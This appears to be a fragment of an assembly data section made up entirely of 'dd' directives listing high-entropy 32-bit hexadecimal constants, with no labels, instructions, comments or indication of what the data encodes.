		dd 887B5B4Bh, 4083771Fh, 7AA451E5h, 828FBAFh, 0B1A4F460h
		dd 70011095h, 0CB0F0075h, 8CB28925h, 0A7482CEAh, 0D13FC086h
		dd 0FB3CA8h, 391C5A47h,	26119E84h, 0EEE8BB00h, 615E7A4Eh
		dd 3924EC81h, 8B29FC15h, 150FA698h, 689070D1h, 0FA20DC41h
		dd 6C109760h, 0EA0148ACh, 52232D50h, 0EC5D9514h, 0DCA91179h
		dd 10B7CFB4h, 3FE9D33Dh, 0FE80D60Dh, 0AF291F79h, 140026F0h
		dd 0FD63FF19h, 118B0FD5h, 5007259Dh, 2B408902h,	13239B8h
		dd 0A9165C35h, 0D8165098h, 901457E5h, 20ABE281h, 11057DA9h
		dd 84C499BAh, 4432DA25h, 43C41FCFh, 2D12A6C2h, 0A30B83DEh
		dd 0F022C2CDh, 675FEFh,	0E68C8EC3h, 71B50BC5h, 2D1ACCA5h
		dd 708EDB39h, 0DE1C13DBh, 0ED49DC9Dh, 1A4D141h,	994A9509h
		dd 3F64157h, 4F4FE9Dh, 0EDADEE23h, 9A784172h, 0E4C444EFh
		dd 0C16B8A9Ah, 0FCADE810h, 0F0FA88Bh, 29909F82h, 2C577995h
		dd 1F253482h, 9BB80DBDh, 68A3151Fh, 1D2AC7C0h, 0AA8B28EAh
		dd 29166047h, 5E3AA625h, 0C0019E26h, 0C7B63D17h, 9501089Dh
		dd 0B52032A9h, 0A978C3B3h, 2BA01451h, 50C4CF6Ah, 99E9C360h
		dd 9D2901E4h, 6B942149h, 7458B95Eh, 7D7A6F93h, 0D8139890h
		dd 0C455805Ch, 97DB4A8Ah, 87276281h, 0CE0B382Fh, 6F2EA2B8h
		dd 59EE407Eh, 52B5831Dh, 80CFAC5Dh, 36A5EC56h, 69EB00A8h
		dd 0CE72B1Bh, 5304BCFFh, 0B82E1046h, 6E4C93BCh,	0E957AD38h
		dd 109F1C22h, 0CC14F0h,	18F77DAFh, 748CE43Ah, 70318502h
		dd 86CB0E86h, 29F501A9h, 9E818B5Ah, 0F33285B8h,	2B30501Ch
		dd 81605300h, 95F0DEC0h, 0F58E1E6Fh, 5A611CD2h,	9B3A6093h
		dd 0D8001923h, 5C1DC9BEh, 6210B792h, 63006E35h,	1B611CE2h
		dd 209D6A3h, 5F7AF033h,	425385C7h, 4DE69A4h, 0E8524232h
		dd 0B81F4007h, 2F0A010h, 0E78A7CC1h, 74745F59h,	5587CD40h
		dd 19470110h, 3D3AE378h, 0FBC930BBh, 6E615Bh, 0F2541804h
		dd 812DF871h, 0D1869D78h, 0F1ACCE8h, 6107EB9Ch,	0C8F9E949h
		dd 99181DF9h, 0C6FA3C04h, 0C9C0BA58h, 4810E17h,	0DF2A2F6h
		dd 0E00AF63Dh, 4BBED582h, 0C16700BCh, 9104BEBh,	3C2F0E07h
		dd 0DA801AC5h, 1C1CA4ACh, 5C5CD2D4h, 34CE01E4h,	0D41BF531h
		dd 293CB327h, 0DD5B93D1h, 17E66907h, 43DFCFCFh,	85A6DB67h
		dd 2800013Eh, 0D427E641h, 0C30B727Dh, 380D59E9h, 4DA2A5Dh
		dd 6CB4FD50h, 0C262F831h, 70C1BD83h, 1A7294B7h,	0B7553564h
		dd 7EA00004h, 60D5E76Ah, 819D3312h, 0F50E642h, 55A8B8Ch
		dd 700B872h, 8A6965BBh,	4C22912h, 1814D9FCh, 0D7469DA0h
		dd 58536001h, 0C08B61F9h, 13046E7Ah, 100A4E77h,	82281C88h
		dd 1727D34Ch, 7FD106EDh, 0A0511669h, 12880975h,	74830121h
		dd 1B535013h, 0E0D0B886h, 1152C085h, 2951FA4h, 0B1585BBBh
		dd 3104111Ch, 18A35E1Ah, 36DF3A81h, 0E4F0396h, 4B106586h
		dd 0B6126852h, 0ABCF68C3h, 60639AF8h, 4B18C469h, 0C1E68321h
		dd 92ACB9ACh, 52405700h, 0B6F283h, 0CA05462Eh, 90BB3F27h
		dd 50CBB70Eh, 0C83B03B9h, 8FFDCD5Fh, 4B3E30B8h,	0A8C10657h
		dd 4598514Ch, 883E4E81h, 0D541CF17h, 3EF87BC0h,	74C8BB09h
		dd 60033F13h, 310F5961h, 0C7421048h, 1EE0CF5Eh,	64FEBE07h
		dd 0F4E822CEh, 0E0004990h, 0BADFEEDBh, 0D9CA2Fh, 3980F4A8h
		dd 5A5BD860h, 90045860h, 0BF55B589h, 0B5813224h, 0DA63B0h
		dd 746B8341h, 2595FFAAh, 494F328Dh, 60EA7840h, 75A200E3h
		dd 9C5BCB9h, 0E4A91985h, 0CB35A68Bh, 9115D10Bh,	15EB5994h
		dd 0B4AC850Dh, 86840F14h, 22DC5089h, 59032F10h,	0DD8FBA66h
		dd 0DB085125h, 3B2D70B9h, 2E4A3801h, 19E65892h,	45A6206Ah
		dd 7218B953h, 0C0962035h, 371DBD18h, 75891491h,	275DA102h
		dd 0C0446666h, 10CB0381h, 0C671B37Bh, 8C4925E2h, 85C37547h
		dd 0A1958BF5h, 3F68CD40h, 0B1A81E6Dh, 5598AD9Ch, 297FB935h
		dd 5F3D4D71h, 0ED240181h, 507C84CAh, 564B7250h,	0E0350132h
		dd 0B5FF5B17h, 5AE33805h, 0EC24C36Eh, 77FF0594h, 0E5B7D120h
		dd 0D0A40709h, 71C0289Bh, 924D0AA9h, 65FAF502h,	88EC8A2Bh
		dd 0BD27A78Dh, 7E5D015Eh, 41FE6B1Dh, 0C3219CDh,	6E2BD79Bh
		dd 0F9C50048h, 8166B305h, 0C4024EC2h, 9651ABFFh, 98BCD2F1h
		dd 0A7CE6802h, 1622489h, 75EED018h, 0E1219D09h,	8AFF0270h
		dd 81EA40DEh, 14240004h, 965860Eh, 71944DBDh, 0E627E223h
		dd 20B890A9h, 0D28C25C1h, 0A037CC82h, 0A3A7E81h, 0C6443E30h
		dd 1EB1A021h, 2C29A841h, 51B1D50Ch, 8981F995h, 70405B56h
		dd 41B7F6F1h, 89252A3Fh, 959AE0EBh, 772509BAh, 7C205CD1h
		dd 41853EFAh, 90DC17BCh, 15B0ECDh, 0B1741185h, 0EDAD81A4h
		dd 4AAB4A04h, 0ECE0BBE6h, 7D006EA7h, 80F33C60h,	0EA81578Eh
		dd 0E35207FDh, 0EAB35B6Dh, 0DA143FD9h, 0B441BC67h, 8015DE3Ah
		dd 554051C9h, 0DC2826A3h, 27909B1h, 6C515314h, 45902E80h
		dd 5965C68h, 0F60D913h,	0D13FD883h, 61545190h, 0E613DFBDh
		dd 0E90216h, 0E400DCB8h, 0F0166E3Eh, 0ABF52A7h,	6C6246FAh
		dd 11E508C1h, 0BD59B60Ah, 0E83A8309h, 4CB5EAC4h, 0FD103F7Dh
		dd 9D309308h, 7C77F722h, 88BB0065h, 5F7E8F4Bh, 9800C03Ch
		dd 0E6D181BFh, 97758C48h, 0D6B02904h, 0E9045CFDh, 46AB371h
		dd 440094B2h, 0FE5795B4h, 0C71D4E25h, 390B7FA5h, 754436h
		dd 62FD1E16h, 8A5C7557h, 685B7101h, 0A5D440F8h,	108E824h
		dd 0F5A2BCFh, 3FE8DEB7h, 0BEBC0524h, 50D08B0Ah,	68008BBh
		dd 8541F9A5h, 8961CE8Bh, 162991B1h, 42E24Bh, 1021CA87h
		dd 936933h, 0FB1F3BBAh,	6B09BE18h, 0E93AAA08h, 204D8105h
		dd 0B8B57EC5h, 4FD95258h, 0DCDBB020h, 50D90722h, 0C01C54A2h
		dd 0C1905609h, 1130EECh, 0E2E012B8h, 41F9A25Bh,	0B2010555h
		dd 0F0D2067h, 61678F51h, 515F905h, 295D4581h, 0E1178205h
		dd 8AC68021h, 28BCCC42h, 1B201F9h, 2F6A1B3Fh, 671EB66Fh
		dd 82974568h, 0CAB511E2h, 14D8EC3Dh, 21BD330Bh,	0DCB29558h
		dd 0D58A04C5h, 9AC3BF11h, 0D5CA04h, 8186CD30h, 39320E12h
		dd 98600842h, 5F9DB3CEh, 18990500h, 50511DFCh, 4059695Bh
		dd 7AB02578h, 6FD7955Ah, 4D0B6AC2h, 0EA18E0A6h,	0D60E1F80h
		dd 0C4B24BADh, 9C8207EBh, 0B5A2A289h, 0BF2E4034h, 0B74E04CEh
		dd 0EF820F69h, 9F0428h
		dd 0FAEE3C0Dh, 0B00ABAA0h, 61F8E01Ah, 457460B3h, 40E0A620h
		dd 0BB146627h, 22F00C94h, 0B58D1A4Dh, 2FF67F93h, 4D0300DCh
		dd 9D9042F1h, 1227E9EEh, 5CA5896h, 72153DBFh, 0BBC5010Ah
		dd 0DA550864h, 0FD8AAE80h, 0C49F5061h, 6D4500DAh, 0BDA9CA9Fh
		dd 0BB0185BAh, 3ED431C1h, 5B739659h, 903018A2h,	51D50EF7h
		dd 0FB6B934h, 0BB407A46h, 594482ECh, 0CE1087BFh, 2A8A25A9h
		dd 0A5C99A24h, 17D17141h, 0F4166B33h, 0E6D812EEh, 0D6F2E0FEh
		dd 2F1D019Ah, 69952B37h, 4542A11h, 70A697A5h, 92CB96E0h
		dd 0B01EF301h, 0B485C7FCh, 117151A5h, 0A1181BF9h, 74048FE2h
		dd 0C1C76A5Eh, 0ACF6CDC0h, 500902C4h, 207E805Ah, 0FE08EB7Ch
		dd 20552602h, 0DB605E6Dh, 47A1805Ah, 99AF910h, 0FCABF736h
		dd 26BAE498h, 5800DE73h, 322FD27Eh, 0BB20468Dh,	10D27863h
		dd 6B60C894h, 28E34C52h, 2ABB616Eh, 8DCDB885h, 0A7FF6230h
		dd 40621175h, 40118A60h, 385D8006h, 0FFF013CFh,	92E826E9h
		dd 0ACC9D4E2h, 0C2ED28B5h, 0B097108h, 0B2CF40E9h, 1DC2A264h
		dd 400C5E6Eh, 79FDDF27h, 5658DC30h, 32A989h, 0CCEAAC3Eh
		dd 41BD2948h, 231D9A96h, 7825458Ah, 51EC5C13h, 0F44B06D2h
		dd 2F401A28h, 0BFB18B1Ah, 7D6730DFh, 0A63B2B40h, 557BB0C6h
		dd 0FC789AC8h, 40693A09h, 5A7038D3h, 0D7D40091h, 94557335h
		dd 0BD4E83D0h, 306F3755h, 0C1B93354h, 148E00B0h, 1BBF6690h
		dd 0F3750F3h, 960F2189h, 93555508h, 855C8903h, 0C66ECE30h
		dd 0A1E8B9FDh, 0AF7DF01h, 0C281D6CBh, 0BE27C900h, 95273FB8h
		dd 9033809Dh, 5974DEBFh, 570797D8h, 2B5F5953h, 0D178317Bh
		dd 0F12A17A9h, 60EBCDA1h, 4B1FEFC8h, 8D1467E6h,	0BD01040Ch
		dd 0D8A52EA9h, 0B0482939h, 0DB5BE759h, 0A559C37Ah, 8510A111h
		dd 1231F8C4h, 9C00B4Dh,	0ECF13FA4h, 0A30BC217h,	0C0F3ED61h
		dd 724DEA2Fh, 88A7614Dh, 97B5A001h, 81E97868h, 25717CBh
		dd 0FB61596Dh, 0FB927002h, 8CAACD02h, 200EE8C2h, 781020D2h
		dd 970046E6h, 0DAC40C1Eh, 0C15453AAh, 5E08D2E8h, 3DC86A5Bh
		dd 0D51C0096h, 0B5E3A968h, 0D1FB5759h, 5FA42401h, 1CC6811Ah
		dd 0FAB480CDh, 90FD17E9h, 9780F0A7h, 28DA1819h,	0EA35815Ch
		dd 0F8876F3Bh, 0E0A3E4AFh, 0A4B813FDh, 3A3D3300h, 40A8C668h
		dd 0B3B62E87h, 0D780BDE0h, 0B58978BFh, 96960775h, 2B61CFACh
		dd 0E6C084FBh, 372500F1h, 642E449Ah, 0A800E346h, 4B52586Eh
		dd 9DBD8BA9h, 0FF5A81C8h, 52A29BB1h, 0ED4821Eh,	0AF857203h
		dd 4C0D909Ch, 4F030484h, 0A271EF01h, 682B019Dh,	0F8BE79AFh
		dd 54CAC0h, 0D7025FA4h,	7CFEFC23h, 8BD3D805h, 0FD78D9Dh
		dd 296002F9h, 0F4FBFC2Ch, 82BF3938h, 59FEC7EBh,	252F468Bh
		dd 59C4870Fh, 2915CB1Eh, 0A80B9097h, 0B0605060h, 20514BA7h
		dd 37A6877Dh, 90F7E500h, 0E7B292F8h, 71A07A2Dh,	72499F5Bh
		dd 0E066FECAh, 990D3Ch,	0C8A7364Ah, 1E1C202Eh, 0AC44463Fh
		dd 0C4850BA7h, 55017A3Fh, 0B9958908h, 0F8004428h, 0BE666090h
		dd 0C695CB32h, 2A8700E0h, 0BFF7FA2Fh, 0CD004019h, 0B5B06591h
		dd 97612E28h, 0B4D160C0h, 900BEF77h, 0CDD6B70Fh, 641C6405h
		dd 508994A2h, 0C45EA042h, 0E4B001DCh, 8BFF2C82h, 11220CEh
		dd 90522740h, 0B1C95BA3h, 0E0B376BEh, 24CA258h,	94AE27D3h
		dd 0A65CE113h, 31DF2617h, 47D67888h, 0F0984677h, 266038C1h
		dd 5614E21h, 0F5FCD5CBh, 32F94Ah, 13F78058h, 4C08C2E1h
		dd 0BB24CF46h, 749D4909h, 0E3040421h, 8B0ADB57h, 2D9B82ACh
		dd 1ABA0618h, 81F00E0Dh, 83D829EAh, 681448C2h, 7911B510h
		dd 7E10E7FFh, 501D26FFh, 22359C64h, 8B9789EEh, 64BD36Dh
		dd 1AC22B58h, 825EF05Ch, 0C15A4D38h, 15125Fh, 33C5073h
		dd 3A7681D0h, 84194565h, 0E02D1DF4h, 0D9E98010h, 8B3285BAh
		dd 0A171D0C8h, 3C4003E2h, 0F2824FADh, 8B07209Dh, 0CD12589Fh
		dd 0F8058012h, 0C1C5BD8h, 20D16303h, 4D7B2F2Dh,	0C554EB92h
		dd 8F2864D0h, 83056D05h, 13E904C4h, 0C1949DFCh,	0A9811005h
		dd 0B51418B0h, 0C0243359h, 0C90839C3h, 24E0B226h, 5D24C2Bh
		dd 9AA7D268h, 5AFEA3D4h, 8A0A32Dh, 573D6082h, 5060D38Bh
		dd 0D680514Ch, 0AE048F8h, 6C2683B4h, 0C012CB5Eh, 2AB81CEDh
		dd 0CAEBF024h, 22194356h, 69B8C638h, 9D12DD2Ah,	0D078A63Dh
		dd 201C8A17h, 0B5D62C48h, 39A0FFB6h, 1202D436h,	415ECDE7h
		dd 0DC747411h, 58BDE125h, 8D2B1724h, 0C0FCB4D5h, 0ADE8F813h
		dd 0F4A206C4h, 0F660B700h, 0AB64196Bh, 0E0A8EC37h, 561D2E72h
		dd 0EB1FDE01h, 5792CE76h, 20972BCh, 2E805EC8h, 86BE8FEh
		dd 2CBD97h, 1554E23h, 0A30B4FB5h, 1342A6Ah, 0FE7CBF7Bh
		dd 40CDD930h, 0CAC4611Ah, 0E1130211h, 917D20C1h, 6BE80540h
		dd 0D5B78B26h, 46904500h, 6815607h, 17274BE7h, 355F7430h
		dd 0A9E69684h, 307259E1h, 174D100h, 0D00995Bh, 9246C781h
		dd 0E82C093Eh, 2E7E07C9h, 99D74F4h, 8C0FF560h, 10778E4Ah
		dd 6C9A3Ah, 8E27739Fh, 0F5D4DFC8h, 48B78C00h, 2CF0958Fh
		dd 35022AC5h, 86D27B0h,	46918625h, 0A179E8BDh, 0C5B7BFh
		dd 0B5B3E6D2h, 0DF7796A9h, 85328662h, 3786A929h, 9C21801Ah
		dd 72BE899h, 409EEF9Fh,	5DC21660h, 0D7C7A00Ch, 0F5C1980Eh
		dd 152F0E05h, 0C1F73CB1h, 9113CD6Eh, 0A64AED2Eh, 8085E0BFh
		dd 6D91760h, 0E6F600A7h, 7DB58903h, 0BB792E64h,	0E03EE653h
		dd 0DD65D40Fh, 4C5FF8A8h, 0E8B571FEh, 6E5F8C6Ah, 0E86A5EDEh
		dd 8A3B0C38h, 403166CBh, 8D118B2Bh, 592114DDh, 477A4DADh
		dd 2ADEC04Eh, 0E8A09262h, 2C694985h, 70F8485Bh,	0F5C2033Eh
		dd 0F6A704AAh, 287B95C0h, 0E6C8642Ch, 0E85FC901h, 9E6A0615h
		dd 617D80E2h, 848AAh, 0BEDBEE1Fh, 7A6963F8h, 30A594C5h
		dd 6CA7AEEh, 66AF8EE4h,	0A22226EAh, 5BE09EFh, 4F46ADEh
		dd 839791EFh, 5D63D161h, 16880F12h, 0C1C1FC1h, 0E8197C38h
		dd 93FC9B71h, 0CA52015Ah, 98125F6Fh, 209CFC3Ah,	42E8162Ah
		dd 0E847F905h, 0CC4A0726h, 0E3DE2805h, 0B654138Bh, 0E59AF54Fh
		dd 1E37B5h, 27525CDDh, 0AD04AC37h, 4EDE879h, 4EE97ABEh
		dd 13BE098Ch, 44D0135Ch, 9E3199C3h, 0F593C026h,	13CC8A71h
		dd 42759D09h, 496E8B3h,	1266C34Fh, 2BCD209Ah, 87710B7h
		dd 0D031FE2h, 79824158h, 6FB0F68Bh, 0FDCE909Bh,	0B9F8EC6Bh
		dd 0CA17F298h, 0E706BAh, 788B21B1h, 5148026h, 317CDFA0h
		dd 51D2762Bh, 7AAA042Ah, 0AA350B0Bh, 1398DEC4h,	958FAD29h
		dd 5FBFAC88h, 0F92C17Fh, 801BA78Dh, 3F70E1CEh, 6ED85F2Bh
		dd 398D0178h, 9526A3ABh, 0E221843Ah, 71600089h,	0B0586CADh
		dd 0CE4D390Eh, 0F54E8385h, 0F1C40459h, 0D12EF50h, 1E039E6Fh
		dd 0D3014B8Ah, 8998EEA0h, 2B658D17h, 0B7CBA4F4h, 1C6481EDh
		dd 8AD21B60h, 0C2F29702h, 826FEAA1h, 1C25CAh, 59958D5Bh
		dd 857A134Ah, 0FE63EA00h, 0CCBF6699h, 1A895413h, 0EDE0E9F6h
		dd 0DD0543CBh, 81BD23C8h, 4289C890h, 0E5B6C404h, 41B41908h
		dd 0AA1F4CF7h, 7A461A4Bh, 0F880C537h, 402ABE9Bh, 34780EF4h
		dd 1E03F781h, 814C1D8Bh, 1AD10DEh, 0EFDF067Fh, 8C4A4D23h
		dd 0DC19096Bh, 8D03DC7Fh, 5CD9A641h, 5D21A80Eh,	7240BFDDh
		dd 80B8532Ah, 0DCA47D30h, 0AC35B533h, 0ACB7B78Bh, 8318A606h
		dd 4E4969BAh, 0F7E07EEDh, 43D40A9h, 0C9319C79h,	80C4ACBEh
		dd 36F01F0Ah, 98C0BD0Dh
		dd 780AC781h, 896E4909h, 0C8B61A13h, 0E3B8A8E0h, 2E80FA55h
		dd 0C9386F20h, 50F631C7h, 7E1AB9D8h, 0D129E22h,	7A2374h
		dd 8FAC99F1h, 0A675BCC9h, 91F94BF2h, 754D9569h,	0B8C26D5Fh
		dd 3E910164h, 29E4A371h, 2633C995h, 0A85C5D53h,	0D6DF83Bh
		dd 0A7B5FB8Bh, 0F0B336B5h, 39F92DB6h, 3305A55Dh, 414018Dh
		dd 3E2F797Bh, 95001C23h, 0D75DEFBh, 0C47D032Ah,	48B0FB5h
		dd 0B9662507h, 0BD979C97h, 0DB9A10D4h, 30C01988h, 31341D71h
		dd 45AC53Dh, 0BA8B5507h, 7F072D6Eh, 4053A386h, 1B4CEA2Ch
		dd 6D89EC50h, 0F3CE1C5Eh, 2CC01AC8h, 0B0674D51h, 0FD01256h
		dd 256DA28Ch, 82B07A95h, 0E16DCD83h, 0A61C0AFEh, 0DE12F9h
		dd 0A6EBFFD1h, 83BF21D3h, 0E1800900h, 0E93BB59Ah, 0BE2DC1DBh
		dd 0E9A64269h, 106F7A6Ah, 0F35BD648h, 5A466885h, 660500D6h
		dd 1D80F83Eh, 0E24EC20Dh, 0F24C98A5h, 0C7CF037Bh, 0F3D7522Ch
		dd 0F0E51C56h, 58E46E1Ch, 824B9370h, 20B31F1h, 0F521C995h
		dd 6B02EA11h, 686ED8h, 0AC8EA3D3h, 270AAB9Ah, 8061FF3Fh
		dd 0FB6429B2h, 25DC8BEFh, 6DD3C372h, 66C70h, 0AF66549Ch
		dd 61BC75B7h, 158D0315h, 8AF90BB0h, 0C3434DC5h,	5DF3D8F7h
		dd 50C0C4B8h, 8B35A31Dh, 0DE736Ch, 0FC396437h, 0A92AB12Ch
		dd 0BD555D2Dh, 0F3D086Eh, 426BA444h, 94452D20h,	9735B56Eh
		dd 0CDECE917h, 505B3130h, 520FBA66h, 5F6158F8h,	598666A5h
		dd 58BCDDF6h, 0E67ABC27h, 0B4C1B71Ah, 94130431h, 0E6D20DB8h
		dd 0C5B1E0D3h, 60420C75h, 2508BF8h, 1152C49Dh, 5AD288BBh
		dd 13E0B3F6h, 7D48014Dh, 91830BD4h, 6B207843h, 9976C522h
		dd 0CCB66A44h, 0D3E035F3h, 0A313A9D7h, 18DB6A1Dh, 0CCBCD3h
		dd 0BF509BDAh, 50D4D00Ch, 25C88A45h, 175C2134h,	907EF763h
		dd 0FCBDABE3h, 885F4B9Dh, 0FA00C626h, 0B01AF848h, 3D4A2D0h
		dd 0E669CC6Eh, 49828DD8h, 71338977h, 0BD29827Ch, 78091671h
		dd 0C1FD1811h, 0F98B0C50h, 0F06F6A5Ah, 4B415807h, 6DDD7236h
		dd 6E26DD7Eh, 0B50800DEh, 0D6160CF0h, 0D8508B26h, 185B51E0h
		dd 0DB5E2CB7h, 404C81E6h, 42AE6C6h, 0CCBAE2EEh,	0FD0077AEh
		dd 672F8D01h, 1C12AA13h, 0C008766Dh, 0E5EC96A4h, 2638BFDEh
		dd 64F1CE8Dh, 7CF0D176h, 3501BB89h, 0EA9E6FFFh,	0D1D9C2D6h
		dd 89989B2Ah, 4CA4212Eh, 327E5F5Eh, 4D04018Bh, 0F19D2B42h
		dd 21FE544h, 0A1D30152h, 25F23F0h, 0B8666050h, 37683C3Dh
		dd 5B4FB680h, 0FB9BE0D4h, 378EDCC0h, 660128BDh,	0BA74FB3Bh
		dd 0E641D98Bh, 0E9001569h, 0E59D0E46h, 16D29293h, 0F439F68Bh
		dd 0F0668D80h, 0B2344815h, 0DBD12239h, 0AF20226h, 2939C860h
		dd 3609081h, 7339E95Fh,	891343B8h, 8EA24E70h, 26F90407h
		dd 2120C093h, 2908E28Eh, 0A506DDB5h, 61006144h,	560D69A5h
		dd 7F2DF07Ch, 306B3D43h, 18DAE201h, 2BE9B687h, 0F0ADFC64h
		dd 0A4009CB8h, 3321FFE7h, 42E0C28h, 87B474BBh, 6CEAA4Bh
		dd 35038A00h, 8BB0FBB7h, 43253F71h, 4F3BCC31h, 4ECAA7F5h
		dd 6808DDAh, 0DE181BA8h, 0CBAEF40Bh, 0CDA5828Ah, 450052Fh
		dd 4731059Eh, 0F19BFF6Ah, 20FF3B2Bh, 0A6982E19h, 3D600E44h
		dd 27E9BD01h, 1BD95782h, 0D508592Ah, 10F882Ch, 53EEBD28h
		dd 0D6C0B05Eh, 938681Eh, 70E6FC57h, 0E406D76h, 275A487Ch
		dd 344471C7h, 0BF00F27Ch, 2D8A596h, 36DECAh, 0AC908B13h
		dd 0E45B4234h, 3E57714Dh, 9BB4CE98h, 0FC41D3D0h, 0C1808033h
		dd 90AC6Ch, 412A9947h, 9BE009A5h, 9281061Bh, 9D08A738h
		dd 0C8B6C55Bh, 0AB31AEBAh, 0F9971895h, 0C015BCC1h, 581C2B32h
		dd 71D20140h, 8CBFC48Fh, 6EE5E1C1h, 6291A28Dh, 0EABB0005h
		dd 2B1114C2h, 0F8EEC8h,	8B6DF0E2h, 0CD9D09D1h, 0BD6D1762h
		dd 0E9D4A4A1h, 0FB4134BFh, 24136808h, 0A90D12CCh, 7C0075Ch
		dd 0C1DEF80h, 0A025BD9Fh, 91D03B28h, 3AE96C80h,	74F90BC9h
		dd 0DB816000h, 9A2555F4h, 95A77023h, 87B2F29Bh,	0BD0B2180h
		dd 7DCA296Dh, 0FE1B21A5h, 0BAFBC1Ah, 7C448919h,	5046495h
		dd 0BA14B58Dh, 7854EF20h, 0E8603877h, 611E136Eh, 2511CF6Ch
		dd 0DFD56550h, 0A6DBBF0Dh, 0ED207ED1h, 0DFB92510h, 90374E89h
		dd 8529DA84h, 95139CE2h, 0E1DDA419h, 0E8F9FC4Ch, 91F8C17h
		dd 0BF26F3A0h, 2E41FB17h, 0C02BF8FCh, 0E8B98C7Dh, 67B6DA34h
		dd 0E04E1410h, 0CFB4D2C0h, 3FF00DCh, 9F653618h,	891332B2h
		dd 0F0719Dh, 0C23318ADh, 83D054D1h, 7504E901h, 0D59D23F4h
		dd 48B7C86Bh, 880D3A1Ah, 706ADB59h, 7B758703h, 958B5B04h
		dd 7AFF20D1h, 312B00C5h, 0B646113Eh, 4B65125Ah,	80EFF86Ah
		dd 0C0189DC2h, 6CE00464h, 0AA5A9FBDh, 1ADB404h,	0D58D8419h
		dd 201A0633h, 0BF0332B9h, 48160377h, 0F3C2E350h, 78C1C318h
		dd 9656E908h, 0A6585F19h, 0E4F8E326h, 9DEB73C1h, 74D6C02Ah
		dd 0FAA20E3Ch, 8072A1D7h, 70701AE3h, 0CC5E8A31h, 0E9B99C13h
		dd 1200A0ECh, 658070DBh, 4CF93479h, 0B44F4AF5h,	7DE1B855h
		dd 3891EC8Dh, 5C88DA1h,	97709E4Bh, 0B60459B8h, 0A6E1FFCDh
		dd 0E92AE0D3h, 0BC7204F6h, 8182C654h, 413A2863h, 0C2BF9A9h
		dd 2B044D3Fh, 0FD907DECh, 202CDE52h, 5D2E4301h,	5A5A874h
		dd 0DAA452BBh, 32E224Ah, 0D2CA45E1h, 0DFC0CA5Eh, 0CED3C5h
		dd 16EA5EF4h, 0D562DB94h, 0C9E21E00h, 89AD7C09h, 2B60044Ah
		dd 0E214A9BDh, 9D132018h, 0B7753AE2h, 8CB00D3h,	32D78B28h
		dd 0BD03CC0Bh, 1367885h, 49CE8060h, 0DB61E1B6h,	0F554049Ah
		dd 1AAA4B40h, 0DA2F028Ah, 5DE39123h, 121966E0h,	0A0C90A80h
		dd 0BD014DA6h, 0EB4067CFh, 0F6DC3315h, 0F8D22C8Ch, 53E113B6h
		dd 0B836A940h, 0D7A51FEFh, 7FB8871Ch, 0C17C34FBh, 118923h
		dd 5B998533h, 7C7A1Bh, 49CD887Dh, 265ACC31h, 9DCBF50h
		dd 50604443h, 0ED279509h, 91F51F17h, 0E6B0921Bh, 29A200CFh
		dd 76813F4h, 1D5C95A6h,	2C36C3E6h, 985DE3D3h, 955B66B7h
		dd 0A5F86A40h, 0F81D8A31h, 5A391C91h, 9E314512h, 0FA0C8075h
		dd 0E9736h, 0F348DB8Ah,	0A3628589h, 449C2BB8h, 0B66A00DCh
		dd 0A8E2B756h, 0E91CFA8Bh, 0D6250189h, 0BD39DE44h, 0F31F8706h
		dd 6F62D1F5h, 5A2A417Fh, 0BBCDA7AFh, 84C785C3h,	1AFC85C8h
		dd 525EB58Bh, 804B3777h, 909CE2E3h, 7B928B97h, 58147D20h
		dd 9910F150h, 3A775125h, 11021282h, 929322DAh, 2F8FA89Ah
		dd 9DD999C0h, 471DF43Dh, 0F596338Dh, 461250EDh,	18F6F04h
		dd 0F0A6B6FAh, 0AA861897h, 0DB29A5BDh, 0DE24C2B0h, 0FF8A5289h
		dd 0C5ABCCB5h, 51194D0h, 41CDF0DCh, 742487E6h, 0DBFBC076h
		dd 1E174B68h, 9C89270Dh, 355B427Bh, 96485ADDh, 122D1DB4h
		dd 70617827h, 6B8D4850h, 2EAA82D6h, 4429CC0Ch, 5309BB32h
		dd 261A30D3h, 5B2C60FBh, 0B82A5505h, 0B8D6FD96h, 0D14600F2h
		dd 1FABD5B1h, 6050616Bh, 264141FDh, 0ECFB287h, 9D2BD19Ah
		dd 0C7CD3439h, 0DA4A8558h, 8153B753h, 0CAF6717Bh, 18CC7F4Ah
		dd 3084A123h, 2480C404h, 4ADAD296h, 80433DF7h, 0F231971Fh
		dd 0E92581ECh, 0F655D43Fh, 0EAB8A0BFh, 743AFB2h, 0C3050A1h
		dd 30440711h, 10E8C101h, 0B00EA8F5h, 3254C7Eh, 0E7B72158h
		dd 36BB36EBh, 3D8764C0h, 501BC6C2h, 21286829h, 13581918h
		dd 1B57A101h, 0C08B1238h, 0CCE0F2A6h, 0F301FC06h, 146CE9C0h
		dd 883A6B9Fh, 9201405Fh, 516132EAh, 75D26A28h, 0E380F221h
		dd 0E8882FDFh, 70FC01BDh
		dd 0CFABA57Bh, 82717277h, 55046585h, 803E983Dh,	105CFB23h
		dd 0B007E2E4h, 16192497h, 0A42F7927h, 0CA2B166Dh, 51314D09h
		dd 0B92B134Fh, 1756E8CCh, 1DE155AEh, 4E1810BEh,	0CD592060h
		dd 0FB364C98h, 0F385622h, 0CCB94A83h, 9D8227C0h, 71015B58h
		dd 7012DFD6h, 1D30A6B1h, 5F0840D5h, 9386C75Fh, 201B9204h
		dd 8DEC30F1h, 7BB9454Bh, 0C1D98B16h, 35E563A9h,	0BD0E309Bh
		dd 8A23FE9Eh, 0A7C9902Dh, 0EF3339EEh, 6E009E3Eh, 0C45B1DAEh
		dd 0ED14597Bh, 2C9A3A1Ch, 5BAF1F81h, 0A6B4701Ah, 28F81600h
		dd 759D035Bh, 91338206h, 0CD69F434h, 101E5B87h,	0F906CF48h
		dd 55C48689h, 1922B727h, 0DFE40F3Ch, 0B1C25A83h, 194E0695h
		dd 261761B5h, 20506207h, 0D5005A51h, 7E8D9617h,	0BC6F09CDh
		dd 0E78201A3h, 5704B678h, 7EA820EFh, 1E003C9Dh,	0A63E6C0Bh
		dd 3B03E7C8h, 2100D9C0h, 0B331F214h, 91E35BFBh,	8062B8AEh
		dd 0F5021BF1h, 4EB7FD6Ah, 70F1AB82h, 524E50C6h,	0E692E929h
		dd 0F6E7E080h, 92BC16B0h, 29DAE0AEh, 2D19851Ah,	0A376D960h
		dd 630F5830h, 5C380D0Ch, 40BDBABFh, 0C49F5013h,	6FCA0ED1h
		dd 0C460C5F3h, 8E8FDB9Fh, 0EBF6E000h, 0EF24752Fh, 3A6792DAh
		dd 5324F381h, 277E2315h, 953B6335h, 7449B6Ch, 8B25FD73h
		dd 0CDE64480h, 0D7010067h, 7BFE3558h, 53147E3Bh, 58188A0Fh
